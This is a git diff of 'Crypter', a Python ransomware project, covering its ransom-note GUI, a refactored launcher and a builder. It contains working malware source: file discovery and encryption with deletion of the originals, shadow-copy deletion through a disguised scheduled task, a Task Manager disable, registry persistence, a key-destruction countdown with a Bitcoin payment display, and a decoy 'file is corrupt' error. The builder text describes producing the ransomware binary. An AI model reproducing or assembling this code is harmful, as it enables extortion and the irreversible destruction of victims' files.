self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_DECRYPTING[self.LANG] + " (0%)" - ) - - # Disable dialog buttons - self.decryption_dialog.OkCancelSizerOK.Disable() - self.decryption_dialog.OkCancelSizerCancel.Disable() - - # Start the decryption thread - self.decryption_thread = DecryptionThread(self.encrypted_files_list, self.decrypted_files_list, - self, self.decrypter, key_contents) - - - def show_encrypted_files(self, event): - ''' - @summary: Creates a dialog object showing a list of the files that were encrypted - ''' - - # Create dialog object and file list string - self.encrypted_files_dialog = ViewEncryptedFilesDialog(self) - encrypted_files_list = "" - for file in self.encrypted_files_list: - encrypted_files_list += "%s" % file - - # If the list of encrypted files exists, load contents - if encrypted_files_list: - self.encrypted_files_dialog.EncryptedFilesTextCtrl.SetValue(encrypted_files_list) - # Otherwise set to none found - else: - self.encrypted_files_dialog.EncryptedFilesTextCtrl.SetLabelText( - self.GUI_ENCRYPTED_FILES_DIALOG_NO_FILES_FOUND[self.LANG]) - - - self.encrypted_files_dialog.Show() - - - def blink(self, event): - ''' - @summary: Blinks the subheader text - ''' - - # Update the time remaining - time_remaining = self.get_time_remaining() - - # Set message to blank - if self.set_message_to_null and time_remaining: - self.FlashingMessageText.SetLabelText("") - self.HeaderPanel.Layout() # Recenters the child widgets after text update (this works!) - self.set_message_to_null = False - # Set message to text - elif time_remaining: - self.FlashingMessageText.SetLabelText(self.GUI_LABEL_TEXT_FLASHING_ENCRYPTED[self.LANG]) - self.HeaderPanel.Layout() # Recenters the child widgets after text update (this works!) - self.set_message_to_null = True - - # If the key has been destroyed, update the menu text - if not time_remaining: - # Cleanup decrypter and change dialog message - self.decrypter.cleanup() - # Update main window - self.key_destruction_timer.Stop() - self.TimeRemainingTime.SetLabelText(self.GUI_LABEL_TEXT_TIME_BLANK[self.LANG]) - self.FlashingMessageText.SetLabelText(self.GUI_LABEL_TEXT_FLASHING_DESTROYED[self.LANG]) - self.FlashingMessageText.SetForegroundColour( wx.Colour(0, 0, 0) ) - # Disable decryption button - self.EnterDecryptionKeyButton.Disable() - self.ViewEncryptedFilesButton.Disable() - self.HeaderPanel.Layout() # Recenters the child widgets after text update (this works!) - else: - self.TimeRemainingTime.SetLabelText(time_remaining) - - - def get_time_remaining(self): - ''' - @summary: Method to read the time of encryption and determine the time remaining - before the decryption key is destroyed - @return: time remaining until decryption key is destroyed - ''' - - seconds_elapsed = int(time.time() - int(self.start_time)) - - _time_remaining = int(self.__config["key_destruction_time"]) - seconds_elapsed - if _time_remaining <= 0: - return None - - minutes, seconds = divmod(_time_remaining, 60) - hours, minutes = divmod(minutes, 60) - - return "%02d:%02d:%02d" % (hours, minutes, seconds) - - - def update_visuals(self): - ''' - @summary: Method to update the GUI visuals/aesthetics, i.e labels, images etc. - ''' - - # Set Frame Style - style = wx.CAPTION|wx.CLOSE_BOX|wx.MINIMIZE_BOX|wx.SYSTEM_MENU|wx.TAB_TRAVERSAL - if self.__config["make_gui_resizeable"]: - style = style|wx.RESIZE_BORDER - if self.__config["always_on_top"]: - style = style|wx.STAY_ON_TOP - self.SetWindowStyle(style) - - # Background Colour - self.SetBackgroundColour(wx.Colour( - self.__config["background_colour"][0], - self.__config["background_colour"][1], - self.__config["background_colour"][2] - ) - ) - - # Icon - self.SetIcon(wx.IconFromBitmap(wx.Bitmap( - os.path.join(self.image_path, self.GUI_IMAGE_ICON), - wx.BITMAP_TYPE_ICO - ) - ) - ) - - # Titles - #======================================================================= - # self.SetTitle(self.GUI_LABEL_TEXT_TITLE[self.LANG] + " v%s.%s" % ( - # self.__config["maj_version"], - # self.__config["min_version"] - # ) - # ) - # self.TitleLabel.SetLabel(self.GUI_LABEL_TEXT_TITLE[self.LANG].upper()) - # self.TitleLabel.SetForegroundColour(wx.Colour( - # self.__config["heading_font_colour"][0], - # self.__config["heading_font_colour"][1], - # self.__config["heading_font_colour"][2], - # ) - # ) - #======================================================================= - self.SetTitle(self.__config["gui_title"] + " v%s.%s" % ( - self.__config["maj_version"], - self.__config["min_version"] - ) - ) - self.TitleLabel.SetLabel(self.__config["gui_title"]) - - - # Set flashing text initial label and Colour - self.FlashingMessageText.SetLabel(self.GUI_LABEL_TEXT_FLASHING_ENCRYPTED[self.LANG]) - self.__set_as_primary_colour(self.FlashingMessageText) - - # Set Ransom Message - self.RansomMessageText.SetValue(self.__config["ransom_message"]) - - # Set Logo - self.LockBitmap.SetBitmap( - wx.Bitmap( - os.path.join(self.image_path, self.GUI_IMAGE_LOGO), - wx.BITMAP_TYPE_ANY - ) - ) - - # Set Bitcoin Button logo - self.BitcoinButton.SetBitmap( - wx.Bitmap( - os.path.join(self.image_path, self.GUI_IMAGE_BUTTON), - wx.BITMAP_TYPE_ANY - ) - ) - - # Set key destruction label - self.TimeRemainingLabel.SetLabel(self.GUI_LABEL_TEXT_TIME_REMAINING[self.LANG]) - self.__set_as_primary_colour(self.TimeRemainingLabel) - - # Set Wallet Address label - self.WalletAddressLabel.SetLabel(self.GUI_LABEL_TEXT_WALLET_ADDRESS[self.LANG]) - self.__set_as_primary_colour(self.WalletAddressLabel) - - # Set Wallet Address Value - self.WalletAddressString.SetLabel(self.__config["wallet_address"]) - self.__set_as_secondary_colour(self.WalletAddressString) - - # Set Bitcoin Fee label - self.BitcoinFeeLabel.SetLabel(self.GUI_LABEL_TEXT_BITCOIN_FEE[self.LANG]) - self.__set_as_primary_colour(self.BitcoinFeeLabel) - - # Set Bitcoin Fee Value - self.BitcoinFeeString.SetLabel(self.__config["bitcoin_fee"]) - self.__set_as_secondary_colour(self.BitcoinFeeString) - - # Set Timer font colour - self.__set_as_secondary_colour(self.TimeRemainingTime) - - # Set Button Text - self.ViewEncryptedFilesButton.SetLabel(self.GUI_BUTTON_TEXT_VIEW_ENCRYPTED_FILES[self.LANG]) - self.EnterDecryptionKeyButton.SetLabel(self.GUI_BUTTON_TEXT_ENTER_DECRYPTION_KEY[self.LANG]) - - - def __set_as_secondary_colour(self, obj): - ''' - @summary: Sets the objects foreground colour to the secondary colour specified by the config - ''' - - obj.SetForegroundColour(wx.Colour( - self.__config["secondary_font_colour"][0], - self.__config["secondary_font_colour"][1], - self.__config["secondary_font_colour"][2] - ) - ) - - def __set_as_primary_colour(self, obj): - ''' - @summary: Sets the objects foreground colour to the primary colour specified by the config - ''' - - obj.SetForegroundColour(wx.Colour( - self.__config["primary_font_colour"][0], - self.__config["primary_font_colour"][1], - self.__config["primary_font_colour"][2] - ) - ) - - \ No newline at end of file diff --git a/Crypter/Main.py b/Crypter/Main.py index 791a91e..f3a08eb 100644 --- a/Crypter/Main.py +++ b/Crypter/Main.py @@ -1,450 +1,44 @@ ''' -@summary: Crypter: Ransomware written entirely in python. -@author: MLS -@version: 2.40 +Crypter - Launcher +@author: Sithis ''' -# Import libs -import os -import sys +# Import Libs +import win32event import win32api -import win32file import winerror -import win32event -import _winreg import wx -import time -import json - -# Import classes -import Crypt -import Base -import Gui -from ScheduledTask import ScheduledTask -from TaskManager import TaskManager - -# Encoding -reload(sys) -sys.setdefaultencoding('utf8') - - -################### -## CRYPTER Class ## -################### -class Crypter(Base.Base): - ''' - @summary: Crypter: Controls interaction between relevant objects - @author: MLS - ''' - - - def __init__(self): - ''' - @summary: Constructor - ''' - self.__config = self.__load_config() - self.encrypted_file_list = os.path.join(os.environ['APPDATA'], "encrypted_files.txt") - - # Init Crypt Lib - self.Crypt = Crypt.SymmetricCrypto() - - # FIRST RUN - # Encrypt! - if not os.path.isfile(self.encrypted_file_list): - # Disable Task Manager - if self.__config["disable_task_manager"]: - self.task_manager = TaskManager() - try: - self.task_manager.disable() - except WindowsError: - pass - - # Add to startup programs - # TODO Test - if self.__config["open_gui_on_login"]: - self.__add_to_startup_programs() - - # Find files and initialise keys - self.Crypt.init_keys() - file_list = self.find_files() - - # Start encryption - self.encrypt_files(file_list) - - # If no files were encrypted. cleanup and return - if self.__no_files_were_encrypted(): - # TODO Test - self.cleanup() - return - - # Delete Shadow Copies - if "delete_shadow_copies" in self.__config: - self.__delete_shadow_files() - - # Open GUI - self.start_gui() - - # ALREADY ENCRYPTED - Open GUI - elif os.path.isfile(self.encrypted_file_list): - self.start_gui() - - - def __load_config(self): - ''' - @summary: Loads the runtime cfg file - @return: JSON runtime config - ''' - cfg_path = os.path.join(sys._MEIPASS, self.RUNTIME_CONFIG_FILE) - - with open(cfg_path, "r") as runtime_cfg_file: - config = json.load(runtime_cfg_file) - - return config - - - def __delete_shadow_files(self): - ''' - @summary: Create, run and delete a scheduled task to delete all file shadow copies from disk - ''' - - vs_deleter = ScheduledTask( - name="updater47", - command="vssadmin Delete Shadows /All /Quiet" - ) - vs_deleter.run_now() - vs_deleter.cleanup() - - - def __no_files_were_encrypted(self): - ''' - @summary: Checks if any files were encrypted - @return: True if no files were encrypted, otherwise False - @todo: Test - ''' - - if not os.path.isfile(self.encrypted_file_list): - return True - else: - return False - - - def __add_to_startup_programs(self): - ''' - @summary: Adds Crypter to the list of Windows startup programs - @todo: Code and test - @todo: Restore try and except catch - ''' - - try: - reg = _winreg.CreateKeyEx(_winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION) - _winreg.SetValueEx(reg, "Crypter", 0, _winreg.REG_SZ, sys.executable) - _winreg.CloseKey(reg) - except WindowsError: - pass - - - def __remove_from_startup_programs(self): - ''' - @summary: Removes Crypter from the list of startup programs - @todo: Code and test - ''' - - try: - reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.STARTUP_REGISTRY_LOCATION, 0, _winreg.KEY_SET_VALUE) - _winreg.DeleteValue(reg, "Crypter") - _winreg.CloseKey(reg) - except WindowsError: - pass - - - def get_start_time(self): - ''' - @summary: Get's Crypter's start time from the registry, or creates it if it - doesn't exist - @return: The time that the ransomware began it's encryption operation, in integer epoch form - ''' - - # Try to open registry key - try: - reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) - start_time = _winreg.QueryValueEx(reg, "")[0] - _winreg.CloseKey(reg) - # If failure, create the key - except WindowsError: - start_time = int(time.time()) - reg = _winreg.CreateKey(_winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) - _winreg.SetValue(reg, "", _winreg.REG_SZ, str(start_time)) - _winreg.CloseKey(reg) - - return start_time +import os +import sys +# Import Package Libs +from Crypter import Crypter +from Crypter.Mutex import * - def cleanup(self): +def showErrorDialog(message): ''' - @summary: Cleanups the system following successful decryption. Removed the list of - encrypted files and deletes the Crypter registry key. Re-enable TM + Displays an error dialog containing the specified message ''' - - # If files were encrypted, Remove from startup programs (if present in list) - if not self.__no_files_were_encrypted() and self.__config["open_gui_on_login"]: - self.__remove_from_startup_programs() - - self.delete_encrypted_file_list() - self.delete_registry_entries() - - if self.__config["disable_task_manager"]: - try: - self.task_manager.enable() - except WindowsError: - pass - - - def delete_registry_entries(self): - ''' - @summary: Deletes the timer registry key - ''' - - # Open and delete the key - try: - reg = _winreg.OpenKeyEx(_winreg.HKEY_CURRENT_USER, self.REGISTRY_LOCATION) - _winreg.DeleteKeyEx(reg, "") - _winreg.CloseKey(reg) - except WindowsError: - # Ignore any Windows errors - pass - - - def start_gui(self): - ''' - @summary: Initialises and launches the ransomware GUI screen - ''' - - # Get Crypter start_time - start_time = self.get_start_time() - app = wx.App() - # TODO Update this to new path and place in __init__ - #sys._MEIPASS = "..\\build\\images" - crypter_gui = Gui.Gui( - image_path=sys._MEIPASS, - start_time=start_time, - decrypter=self, - config=self.__config) - - crypter_gui.Show() + error_dialog = wx.MessageDialog(None, str(message), "Error", wx.OK | wx.ICON_ERROR) + error_dialog.ShowModal() app.MainLoop() - - - def get_encrypted_files_list(self): - ''' - @summary: Returns a list of the files encrypted by crypter - @return: Encrypted file list - ''' - - # Get list of encrypted files - try: - with open(self.encrypted_file_list) as fh: - file_list = fh.readlines() - fh.close() - except IOError: - # Don't error, just return message - raise Exception("A list of encrypted files was not found at: %s" % self.encrypted_file_list) - - return file_list - - - def decrypt_file(self, encrypted_file, decryption_key): - ''' - @summary: Processes the list of encrypted files and decrypts each. Should be called once per file - @param encrypted_file: an encrypted file to decrypt - ''' - - # Decrypt! - if not encrypted_file: - return - - # IF successful decryption, delete locked file - locked_path = self.Crypt.decrypt_file(encrypted_file.rstrip(), decryption_key, self.__config["encrypted_file_extension"]) - if locked_path: - os.remove(locked_path) - - - def delete_encrypted_file_list(self): - ''' - @summary: Deletes the list of encrypted files - ''' - - # Remove encrypted file list - if os.path.isfile(self.encrypted_file_list): - os.remove(self.encrypted_file_list) - - - def encrypt_files(self, file_list): - ''' - @summary: Encrypts all files in the provided file list param - @param file_list: A list of files to encrypt - ''' - encrypted_files = [] - - # Encrypt them and add to list if successful - for file in file_list: - - # Encrypt file if less than specified file size - try: - if int(os.path.getsize(file)) < self.MAX_FILE_SIZE_BYTES: - is_encrypted = self.Crypt.encrypt_file(file, self.__config["encrypted_file_extension"]) - else: - is_encrypted = False - - # IF encrypted, try to delete the file and add to the list - if is_encrypted: - os.remove(file) - encrypted_files.append(file) - except: - # Ignore any exception, such as access denied, and continue - pass - - # Write out list of encrypted files - if encrypted_files or (not self.__config["encrypt_user_home"] and not self.__config["encrypt_attached_drives"]): - fh = open(self.encrypted_file_list, "w") - for encrypted_file in encrypted_files: - fh.write(encrypted_file) - fh.write("\n") - fh.close() - - - def find_files(self): - ''' - @summary: Searches the file system and builds a list of files to encrypt - @return: List of files matching the location and filetype criteria - ''' - binary_name = os.path.split(sys.argv[0])[1] - - base_dirs = self.get_base_dirs(os.environ['USERPROFILE'], self.__config) - file_list = [] - - for directory in base_dirs: - for path,subdirs,files in os.walk(directory): - for file in files: - if os.path.isfile(os.path.join(path, file)): - # Check file is valid - try: - if ( - (self.is_valid_filetype(file)) and - (not self.is_excluded_file(file)) and - (not self.is_excluded_dir(path)) and - (file.lower() != binary_name.lower()) and - (not os.path.join(path, file).lower().startswith(win32file.GetLongPathName(sys._MEIPASS).lower())) - ): - file_list.append(os.path.join(path, file)) - except Exception: - # Skip any files with strange chars not within our encoding - pass - for file in subdirs: - if os.path.isfile(os.path.join(path, file)): - # Check file is valid - try: - if ( - (self.is_valid_filetype(file)) and - (not self.is_excluded_file(file)) and - (not self.is_excluded_dir(path)) and - (file.lower() != binary_name.lower()) and - (not os.path.join(path, file).lower().startswith(win32file.GetLongPathName(sys._MEIPASS).lower())) - ): - file_list.append(os.path.join(path, file)) - except Exception: - # Skip any files with strange chars not within our encoding - pass - - - - return file_list - - - def is_excluded_dir(self, path): - ''' - @summary: Checks whether the specified path should be excluded from encryption - @param path: The path to check - @return: True if the path should be excluded from encryption, otherwise False - ''' - - for dir_to_exclude in self.DIRS_TO_EXCLUDE: - if "\\%s" % dir_to_exclude.lower() in path.lower(): - return True - - return False - - - def is_excluded_file(self, file): - ''' - @summary: Checks whether the specified file is marked as a file to be excluded from encryption - @param file: The file to check - @requires: True if the file should be excluded from encryption, otherwise false - ''' - - if file.lower() in self.FILES_TO_EXCLUDE: - return True - else: - return False - - - def is_valid_filetype(self, file): - ''' - @summary: Verifies whether the specified file is of an acceptable type for encryption - @param file: The file to check - @attention: The list of filetypes to encrypt is defined in the Base.Base class - ''' - - # Split filename - filename_components = file.split(".") - - # If no extension, return False - if len(filename_components) <= 1: - return False - # Otherwise stringify extension - else: - full_extension = ".".join(filename_components[1:]).lower() - - # Check if extension is in the list of encryptable extensions - for target_extension in self.__config["filetypes_to_encrypt"]: - if len(target_extension) <= len(full_extension) and full_extension[-len(target_extension):] == target_extension.lower(): - return True - - return False - - - def set_wallpaper(self): - ''' - @summary: Sets the users wallpaper to a specific ransom not image - @deprecated: This method, and approach, is no longer used. The ransom - note is now displayed via a WX GUI - @requires: To enable this method, add an import for ctypes - ''' - - # Import image and write to path - # todo adjust file name... maybe replace this with whatever is provided in the config file? - image_path = os.path.join(sys._MEIPASS, "ransom.png") - - SPI_SETDESKWALLPAPER = 20 - ctypes.windll.user32.SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, image_path, 3) - +# GO if __name__ == "__main__": ## START - # Try to grab mutex control - mutex = win32event.CreateMutex(None, 1, "mutex_rr_windows") - if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS: - # If mutex already exists, present corruption message - mutex = None - app = wx.App() - error_dialog = wx.MessageDialog(None, "The file is corrupt and cannot be opened", - "Error", wx.OK|wx.ICON_ERROR) - error_dialog.ShowModal() - app.MainLoop() + try: + mutex = Mutex() + go = Crypter() + # Could not acquire mutex + except MutexAlreadyAcquired as maa: + showErrorDialog("The file is corrupt and cannot be opened") sys.exit() + # Exception + except Exception as ex: + if "--debug" in sys.argv: + showErrorDialog(ex) + sys.exit() - # Otherwise run crypter - else: - go = Crypter() diff --git a/build/ExeBuilder/Base.py b/CrypterBuilder/Base.py similarity index 98% rename from build/ExeBuilder/Base.py rename to CrypterBuilder/Base.py index cbadfcc..96f30e0 100644 --- a/build/ExeBuilder/Base.py +++ b/CrypterBuilder/Base.py @@ -1,16 +1,17 @@ # -*- coding: utf-8 -*- ''' -@summary: Crypter Exe Builder: Base schema and config +@summary: Crypter Builder: Base schema and config @author: MLS ''' # Import libs import re -from ordereddict import OrderedDict +import os +from collections import OrderedDict ## VERSION -MAJ_VERSION = "2" -MIN_VERSION = "40" +MAJ_VERSION = "3" +MIN_VERSION = "0" # TITLE TITLE = "Crypter Builder v%s.%s" % (MAJ_VERSION, MIN_VERSION) @@ -363,7 +364,7 @@ "delete_shadow_copies" ] -RUNTIME_CONFIG_PATH = "Resources/runtime.cfg" +RUNTIME_CONFIG_PATH = os.path.join("CrypterBuilder", "Resources", "runtime.cfg") # ERRORS ERROR_INVALID_DATA = 13 diff --git a/build/ExeBuilder/ExeBuilder.py b/CrypterBuilder/Builder.py similarity index 51% rename from build/ExeBuilder/ExeBuilder.py rename to CrypterBuilder/Builder.py index 05734fe..7556418 100644 --- a/build/ExeBuilder/ExeBuilder.py +++ b/CrypterBuilder/Builder.py @@ -1,6 +1,6 @@ ''' -@summary: Crypter Exe Builder: Main -@author: MLS +Crypter Builder +@author: Sithis ''' # Import libs @@ -16,19 +16,26 @@ ################### ## BUILDER CLASS ## ################### -class ExeBuilder(): +class Builder(): ''' - @summary: Provides the main Builder object. Controls calls to all other areas + Crypter Builder ''' def __init__(self): ''' - @summary: Constructor + Constructor ''' # Initialise the Builder GUI - app = wx.App() - builder_gui = Gui() - builder_gui.Show() - app.MainLoop() - \ No newline at end of file + self.__app = wx.App() + self.__builder_gui = Gui() + + + def launch(self): + ''' + Launches the Builder GUI + ''' + + + self.__builder_gui.Show() + self.__app.MainLoop() diff --git a/build/ExeBuilder/BuilderGuiAbsBase.py b/CrypterBuilder/BuilderGuiAbsBase.py similarity index 74% rename from build/ExeBuilder/BuilderGuiAbsBase.py rename to CrypterBuilder/BuilderGuiAbsBase.py index f5d15d6..60f10fd 100644 --- a/build/ExeBuilder/BuilderGuiAbsBase.py +++ b/CrypterBuilder/BuilderGuiAbsBase.py @@ -1,10 +1,10 @@ -# -*- coding: utf-8 -*- +# -*- coding: utf-8 -*- ########################################################################### -## Python code generated with wxFormBuilder (version Dec 21 2016) +## Python code generated with wxFormBuilder (version Oct 26 2018) ## http://www.wxformbuilder.org/ ## -## PLEASE DO "NOT" EDIT THIS FILE! +## PLEASE DO *NOT* EDIT THIS FILE! ########################################################################### import wx @@ -15,995 +15,1031 @@ ########################################################################### class MainFrame ( wx.Frame ): - + def __init__( self, parent ): wx.Frame.__init__ ( self, parent, id = wx.ID_ANY, title = u"Crypter Builder", pos = wx.DefaultPosition, size = wx.Size( 650,850 ), style = wx.CAPTION|wx.CLOSE_BOX|wx.MINIMIZE_BOX|wx.RESIZE_BORDER|wx.SYSTEM_MENU|wx.TAB_TRAVERSAL ) - - self.SetSizeHintsSz( wx.DefaultSize, wx.DefaultSize ) + + self.SetSizeHints( wx.DefaultSize, wx.DefaultSize ) self.SetBackgroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_BTNFACE ) ) - + bSizer1 = wx.BoxSizer( wx.VERTICAL ) - - bSizer1.SetMinSize( wx.Size( 640,850 ) ) + + bSizer1.SetMinSize( wx.Size( 640,850 ) ) bSizer311 = wx.BoxSizer( wx.HORIZONTAL ) - + self.HeaderPanel = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) bSizer48 = wx.BoxSizer( wx.VERTICAL ) - + bSizer49 = wx.BoxSizer( wx.HORIZONTAL ) - + self.LoadConfigFileLabel = wx.StaticText( self.HeaderPanel, wx.ID_ANY, u"Load Config file", wx.DefaultPosition, wx.DefaultSize, 0 ) self.LoadConfigFileLabel.Wrap( -1 ) + self.LoadConfigFileLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Arial" ) ) - + bSizer49.Add( self.LoadConfigFileLabel, 0, wx.ALIGN_CENTER_VERTICAL|wx.ALL|wx.TOP, 5 ) - + self.LoadFilePicker = wx.FilePickerCtrl( self.HeaderPanel, wx.ID_ANY, wx.EmptyString, u"Select a file", u"*.*", wx.DefaultPosition, wx.DefaultSize, wx.FLP_FILE_MUST_EXIST|wx.FLP_OPEN ) - self.LoadFilePicker.SetToolTipString( u"Load an existing configuration file" ) - + self.LoadFilePicker.SetToolTip( u"Load an existing configuration file" ) + bSizer49.Add( self.LoadFilePicker, 0, wx.ALL, 5 ) - - - bSizer49.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 ) - + + + bSizer49.Add( ( 0, 0), 1, wx.EXPAND, 5 ) + self.CurrentConfigFileLabel = wx.StaticText( self.HeaderPanel, wx.ID_ANY, u"Current Config File:", wx.DefaultPosition, wx.DefaultSize, 0 ) self.CurrentConfigFileLabel.Wrap( -1 ) + self.CurrentConfigFileLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_SWISS, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Arial" ) ) - + bSizer49.Add( self.CurrentConfigFileLabel, 0, wx.ALIGN_CENTER_VERTICAL|wx.ALL|wx.TOP, 5 ) - + self.CurrentConfigFile = wx.StaticText( self.HeaderPanel, wx.ID_ANY, u"None", wx.DefaultPosition, wx.DefaultSize, 0 ) self.CurrentConfigFile.Wrap( -1 ) + bSizer49.Add( self.CurrentConfigFile, 0, wx.ALIGN_CENTER_VERTICAL|wx.ALL|wx.TOP, 5 ) - - + + bSizer48.Add( bSizer49, 0, wx.EXPAND, 5 ) - - + + self.HeaderPanel.SetSizer( bSizer48 ) self.HeaderPanel.Layout() bSizer48.Fit( self.HeaderPanel ) bSizer311.Add( self.HeaderPanel, 1, wx.EXPAND |wx.ALL, 5 ) - - + + bSizer1.Add( bSizer311, 0, wx.EXPAND, 5 ) - + self.m_staticline2 = wx.StaticLine( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.LI_HORIZONTAL ) bSizer1.Add( self.m_staticline2, 0, wx.EXPAND |wx.ALL, 5 ) - + self.ConfigScrollableWindow = wx.ScrolledWindow( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.VSCROLL ) self.ConfigScrollableWindow.SetScrollRate( 5, 5 ) bSizer2 = wx.BoxSizer( wx.VERTICAL ) - - self.GuideScrollableWindow = wx.ScrolledWindow( self.ConfigScrollableWindow, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.HSCROLL|wx.STATIC_BORDER|wx.VSCROLL ) + + self.GuideScrollableWindow = wx.ScrolledWindow( self.ConfigScrollableWindow, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.HSCROLL|wx.VSCROLL|wx.BORDER_STATIC ) self.GuideScrollableWindow.SetScrollRate( 5, 5 ) self.GuideScrollableWindow.SetBackgroundColour( wx.Colour( 255, 255, 255 ) ) - + bSizer44 = wx.BoxSizer( wx.VERTICAL ) - - self.TitleLabel = wx.StaticText( self.GuideScrollableWindow, wx.ID_ANY, u"Crypter Builder", wx.DefaultPosition, wx.DefaultSize, wx.ALIGN_CENTRE ) + + self.TitleLabel = wx.StaticText( self.GuideScrollableWindow, wx.ID_ANY, u"Crypter Builder", wx.DefaultPosition, wx.DefaultSize, wx.ALIGN_CENTER_HORIZONTAL ) self.TitleLabel.Wrap( -1 ) + self.TitleLabel.SetFont( wx.Font( 22, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier" ) ) self.TitleLabel.SetForegroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_GRAYTEXT ) ) self.TitleLabel.SetBackgroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_WINDOW ) ) - + bSizer44.Add( self.TitleLabel, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL|wx.EXPAND, 5 ) - - self.SubtitleLabel = wx.StaticText( self.GuideScrollableWindow, wx.ID_ANY, u"Created by Sithis993", wx.DefaultPosition, wx.DefaultSize, wx.ALIGN_CENTRE ) + + self.SubtitleLabel = wx.StaticText( self.GuideScrollableWindow, wx.ID_ANY, u"Created by Sithis993", wx.DefaultPosition, wx.DefaultSize, wx.ALIGN_CENTER_HORIZONTAL ) self.SubtitleLabel.Wrap( -1 ) + self.SubtitleLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Courier" ) ) - + bSizer44.Add( self.SubtitleLabel, 0, wx.ALL|wx.EXPAND, 5 ) - + self.LogoBitmap = wx.StaticBitmap( self.GuideScrollableWindow, wx.ID_ANY, wx.NullBitmap, wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer44.Add( self.LogoBitmap, 0, wx.ALL|wx.EXPAND, 10 ) - + self.QuickBuildTitleLabel = wx.StaticText( self.GuideScrollableWindow, wx.ID_ANY, u"Quick Build", wx.DefaultPosition, wx.DefaultSize, 0 ) self.QuickBuildTitleLabel.Wrap( 359 ) + self.QuickBuildTitleLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, True, "Courier" ) ) - + bSizer44.Add( self.QuickBuildTitleLabel, 0, wx.ALL|wx.EXPAND, 5 ) - + self.QuickBuildDescriptionLabel = wx.StaticText( self.GuideScrollableWindow, wx.ID_ANY, u"To create the ransomware binary immediately, leave the fields below blank and click the BUILD button. This will produce the ransomware binary with the default settings", wx.DefaultPosition, wx.DefaultSize, 0 ) self.QuickBuildDescriptionLabel.Wrap( 359 ) + self.QuickBuildDescriptionLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Courier" ) ) - + bSizer44.Add( self.QuickBuildDescriptionLabel, 0, wx.ALL|wx.EXPAND, 10 ) - + self.CustomisingBuildTitleLabel = wx.StaticText( self.GuideScrollableWindow, wx.ID_ANY, u"Customising the ransomware", wx.DefaultPosition, wx.DefaultSize, 0 ) self.CustomisingBuildTitleLabel.Wrap( 359 ) + self.CustomisingBuildTitleLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, True, "Courier" ) ) - + bSizer44.Add( self.CustomisingBuildTitleLabel, 0, wx.ALL|wx.EXPAND, 5 ) - + self.CustomisingBuildDescriptionLabel = wx.StaticText( self.GuideScrollableWindow, wx.ID_ANY, u"The ransomware can be easily customised by adjusting any or all of the options below. For more information on each field, including a description and the expected input, hover the mouse cursor over the field's label or input box to view its tooltip. \nFields left blank will be set to the default configuration.\n\nTo see an example configuration, click the browse button at the top of the app and load the \"config_example.cfg\" file.", wx.DefaultPosition, wx.DefaultSize, 0 ) self.CustomisingBuildDescriptionLabel.Wrap( 340 ) + self.CustomisingBuildDescriptionLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Courier" ) ) - + bSizer44.Add( self.CustomisingBuildDescriptionLabel, 0, wx.ALL, 10 ) - + self.ManagingConfigurationsTitleLabel = wx.StaticText( self.GuideScrollableWindow, wx.ID_ANY, u"Managing Configurations", wx.DefaultPosition, wx.DefaultSize, 0 ) self.ManagingConfigurationsTitleLabel.Wrap( 359 ) + self.ManagingConfigurationsTitleLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, True, "Courier" ) ) - + bSizer44.Add( self.ManagingConfigurationsTitleLabel, 0, wx.ALL|wx.EXPAND, 5 ) - + self.ManagingConfigurationsDescriptionLabel = wx.StaticText( self.GuideScrollableWindow, wx.ID_ANY, u"Optionally, if you'd like to save your ransomware configuration click the Save button at the bottom of this form. Existing configurations can be loaded by clicking the Load button at the top of the interface.", wx.DefaultPosition, wx.DefaultSize, 0 ) self.ManagingConfigurationsDescriptionLabel.Wrap( 340 ) + self.ManagingConfigurationsDescriptionLabel.SetFont( wx.Font( 9, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_NORMAL, False, "Courier" ) ) - + bSizer44.Add( self.ManagingConfigurationsDescriptionLabel, 0, wx.ALL, 10 ) - - + + self.GuideScrollableWindow.SetSizer( bSizer44 ) self.GuideScrollableWindow.Layout() bSizer44.Fit( self.GuideScrollableWindow ) bSizer2.Add( self.GuideScrollableWindow, 1, wx.ALL|wx.EXPAND, 5 ) - + self.m_staticline6 = wx.StaticLine( self.ConfigScrollableWindow, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, 